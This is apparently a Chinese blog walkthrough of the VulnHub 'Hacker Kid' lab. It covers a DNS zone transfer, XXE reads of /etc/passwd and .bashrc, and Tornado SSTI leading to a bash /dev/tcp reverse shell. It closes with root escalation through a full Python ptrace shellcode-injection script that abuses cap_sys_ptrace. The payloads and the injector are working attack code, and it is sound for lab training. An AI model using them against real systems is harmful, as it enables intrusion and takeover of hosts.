hackerkid:XXE和SSTI等漏洞利用


靶机下载地址:https://www.vulnhub.com/entry/hacker-kid-101,719/


1.信息收集

主机发现

arp-scan -l

靶机IP地址为192.168.71.148

扫描端口

80端口

查看了下源码,发现提示page_no参数,先记录,后面再试。

9999端口

一个登录页面,查看源码有一个隐藏的输入框,名为_xsrf,值为一串数字。

查了资料,发现是网页开启了XSRF保护,如果请求不带这个参数值就会被拒绝。在这儿似乎也没有什么可利用的。

目录探测

9999的目录

80的目录

深度扫描文件,用-X参数指定文件类型

dirb http://192.168.71.148 -X .html,.php,.txt,.old,.bak,.tar,.zip

目录扫描结果

看到了两个可用的html文件,app.html和form.html。

app.html

form.html

两个静态页面啥也没有,所谓的“兔子洞”?

参数爆破

回到80端口页面源代码中的提示:试一下page_no参数Get请求,查看网页。

当page_no=1时,页面返回一行红色的字:Oh Man !! Isn’t is right to go a little deep inside? 看来不正确,要找出正确的参数值,用burpsuite进行爆破。

用burpsuite(社区版)抓包发送到Intruder模块,爆破page_no参数。

设置参数值为1~50

发送数据包,查看响应包长度,在参数值为21时,长度不同。

该页面提示存在子域名 hackers.blackhat.local

在/etc/hosts中添加一条解析记录

2.漏洞利用

DNS域传送漏洞

页面提示表示这个黑客创建了许多子域名,思考利用这些子域名作为突破口。根据给出的域名blackhat.local,检测是否存在 DNS域传送漏洞,找出其他子域名。

dig工具检测

可以看到域名服务器返回了全部记录,存在DNS域传送漏洞。

发现一个可疑的站点,hackerkid.blackhat.local,把它加入hosts文件,然后访问该域名。

查看网页源码,发现XML解析函数,可能存在XEE漏洞。

XEE注入攻击

XEE(XML External Entity Injection)漏洞是 OWASP TOP 10 漏洞之一,主要是由于XML解析时允许引用外部实体造成的,也称为XML外部实体注入攻击。

用burpsuite验证目标是否存在xee漏洞。首先,发现email地址处可以回显,那么可以作为注入处,方便查看返回结果。

然后外部实体注入,选择查看/etc/passwd文件,看漏洞是否存在。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&test;
</email>
<password>
123
</password>
</root>

看到返回了/etc/passwd文件内容,存在XEE漏洞!

尝试读取.bashrc文件,这个文件是用于用户的个性设置的,比如命令别名、环境变量等。在这里我们直接读取是报错的,使用php的base64过滤器进行编码并读取信息。

<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>

用decode功能将返回的数据进行base64解码

发现一个账密信息。

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

SSTI模板注入

信息收集时,有一个9999端口,是登录界面。尝试用这个账密信息登录。

发现登录失败。观察这个账密,密码当中有个关键词Saket,在前面读取/etc/passwd中,saket账户是这个系统中除root外唯一能够有/bin/bash的权限,于是尝试使用saket进行登录,密码不变,成功登录!

在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入

服务器端模板注入(SSTI):漏洞成因是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎(这里特指用于Web开发的模板引擎)在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

测试模板注入漏洞:

${7*7},{{7*7}}   
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]   //SSTI通用测试payload

第一个payload成功执行,输出了一个49的值,第二个payload是一个模板注入通用payload,页面报错说明存在模板注入漏洞。

既然存在模板注入漏洞,那就可以进行反弹shell的操作,首先在kali上监听端口,并将python反弹shell语句使用encodeURIComponent进行编码。

编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.71.139/4444 0>&1"')}}
 
编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.71.139%2F4444%200%3E%261%22')%7D%7D

成功获取了交互式shell!

3.提权

当前用户为saket,需要提升到root权限。

Capabilitie提权

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

使用如下命令发现具有Capabilities特殊操作权限的程序:

/usr/sbin/getcap -r / 2>/dev/null -r 

通过上图发现python具备cap_sys_ptrace+ep能力,利用它进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用python具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

在kali上编辑以下代码,上传到靶机上执行。

import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
    # Convert the byte to little endian.
    shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
    shellcode_byte=int(shellcode_byte_little_endian,16)

    # Inject the byte.
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

kali:

python3 -m http.server 8088

靶机:

wget http://192.168.71.139:8088/inject.py

因需要root进程进行注入,编写脚本对root进程批量尝试.

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

脚本执行成功,可以看到5600端口正在监听。

连接5600端口,发现已获取root权限。

提权完成!

4.总结

此靶机考察的点:

  • 目录探测
  • 域传送漏洞
  • XXE漏洞
  • STTI模板注入
  • linux-capabilities提权

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录